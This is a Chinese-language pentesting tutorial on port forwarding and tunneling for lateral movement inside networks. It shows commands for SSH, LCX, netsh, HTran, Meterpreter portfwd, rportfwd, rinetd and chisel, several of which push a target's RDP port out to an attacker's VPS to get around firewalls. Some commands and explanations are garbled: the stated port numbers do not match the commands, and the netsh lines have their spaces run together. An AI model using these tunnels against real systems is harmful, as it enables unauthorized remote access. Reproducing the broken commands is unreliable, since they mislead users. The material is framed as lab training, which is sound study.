场景介绍
最近在真实环境测试和编写靶场实战教程时,总会遇到内网主机无法直接访问,需要通过转发端口、建立代理隧道等方式去访问,以方便后续进一步的横向渗透测试。本文章主要介绍一些端口转发工具的使用。
测试场景拓扑
图中所标注的IP地址为本地测试地址
Kali服务只能ping通192.168.52.129
正向连接和反向连接
学习端口转发之前,需要了解下什么事正向连接,什么是反向连接,如了解学习过,可以直接跳过本章节。
正向连接
受控端主机监听一个端口,控制端主机主动连接受控端主机,适用于受控端主机有公网IP的情况。
反向连接
控制端主机监听一个端口,受控端主机反向连接控制端主机,适用于受控端主机没有公网IP的情况。
如下图,受害机在内网,并且没有公网IP,攻击机无法通过IP地址访问,所以攻击机需要监听一个端口,让受害机反向连接攻击机。
端口转发
端口转发,有时被称为做隧道,是安全壳( SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将一个端口收到的流量转发到另一个端口。
SSH端口转发
由于当前测试环境win7不自带SSH,需要下载安装SSH
在github上下载Openssh安装
解压到win7环境,并将路径加入到环境变量中,就可以直接使用
例1:要将本地的8080端口转发到远程服务器的80端口,可以使用以下命令:
ssh -L 18888:192.168.52.129:3389 kali@192.168.52.128
该条命令将192.168.52.128的1888端口的流量转发到192.168.52.129的3389端口
例2:要将远程服务器的8080端口转发到本地的80端口,可以使用以下命令:
ssh -R 3389:localhost:3389 username@sshserver
该条命令在目标主机上执行,将目标主机的3389端口指定到本地127.0.0.1的2289端口
可以在kali服务器上直接远程127.0.0.1端口
LCX
LCX是一款端口转发工具,分为Windows版和Linux版,Linux版本为PortMap。LCX有端口映射和端口转发两大功能,例如当目标的3389端口只对内开放而不对外开放时,可以使用端口映射将3389端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略只允许访问固定某一端口时,可以通过端口转发突破限制。
本章仅演示LCX
场景一
由于配置了防火墙只允许web访问,这个时候攻击者想访问3389端口,远程连接是不可以的,就需要使用LCX进行端口转发
Web服务器开启了80端口,3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53端口,这个时候攻击者在本地监听53端口并且转发到1111端口,这个时候攻击者连接自己的1111端口,等于访问web服务器的3389端口
在攻击机机器上执行命令,监听本地53端口并且转发到本地1111端口
lcx.exe -listen 53 1111
在靶机执行命令,将本地的3389端口转发到192.168.198.129的 53端口
lcx.exe -slave 192.168.198.129 53 127.0.0.1 3389
在攻击机器上运行远程桌面,地址为127.0.0.1:1111
场景二
内网靶机开启了80端口,3389端口不允许出网,可以将内网靶机的3389端口转发到允许出网的54端口,这个时候攻击者在VPS监听54端口并且转发到1111端口,这个时候攻击者连接VPS的1111端口,等于访问内网靶机的3389端口
在内网靶机上运行以下命令,监听本地3389端口并且转发到VPS的54端口
lcx.exe -slave 192.168.0.114 54 127.0.0.1 3389
在vps运行lcx.exe -listen 54 1111,因为我的机器vps机器是kali系统所以使用的是portmap
./portmap -m 2 -p1 54 -p2 1111
在那内网攻击者机器上连接192.168.0.114:1111端口
netsh
使用windows自带的netsh配置规则也可达到和lcx一样的效果,但没有工具方便。建立转发规则:
netsh interfaceportproxyaddv4tov4listenport=6666 connect=3389connectaddress=192.168.1.2protocol=tcp
查看转发规则:
netsh interfaceportproxydump
删除转发规则:
netsh interfaceportproxydeletev4tov4listenport=7777
HTran
绕过防火墙
将本地3389端口转发到7777端口:
Htran.exe -tran 7777 127.0.0.1 3389
将本地端口转发到服务器端口
靶机:Htran.exe -slave 192.168.111.128 6666127.0.0.1 3389
服务器:/portmap -m 2 -p1 6666 -p2 5555
转发内网端口
靶机:HTran.exe -tran 6666 192.168.1.2 3389
攻击机:rdesktop 192.168.111.132:6666
portfwd(msf自带)
前提:获取到MSF会话
使用portfwd将靶机的3389转发到本地1234端口
在会话中执行:
meterpreter > portfwdadd-l 1234 -r 192.168.111.132-p 3389
使用portfwd list命令来查看转发规则:
CS插件
梼杌插件拥有一个端口转发工具名为iox:
发内网端口
rportfwd 8888 192.168.1.2 3389
rportfwd stop 8888
ngroc
访问官网注册登录
购买免费的隧道
以3389端口为例,添加完隧道后会有隧道ID和域名,下载Ngroc的客户端上传到靶机上
在靶机上执行
sunny.exe clientid id
看到上图中 隧道启动成功的字样说明隧道启动成功了!
可以直接用kali连接转发后的端口了 域名+端口
rinetd
vim /etc/rinetd.conf 编辑rinetd.confg文件内容为:0.0.0.0 2222 192.168.111.132
3389 即可将靶机的3389端口转发到本地2222端口
chisel
Chisel是一个快速TCP/UDP隧道,通过HTTP传输,通过SSH进行安全保护。单个可执行文件,包括客户端和服务器。Chisel主要用于通过防火墙,尽管它也可以用于为网络提供安全的端点。
工具下载:
https://github.com/jpillora/chisel
靶场转发本地的3000和8001端口 到10.10.14.64攻击机上。
攻击机:
chisel.exe server –port 12345
靶场:
chisel.exe client 10.10.14.64:12345 3000:127.0.0.1:3000 8001:127.0.0.1:8001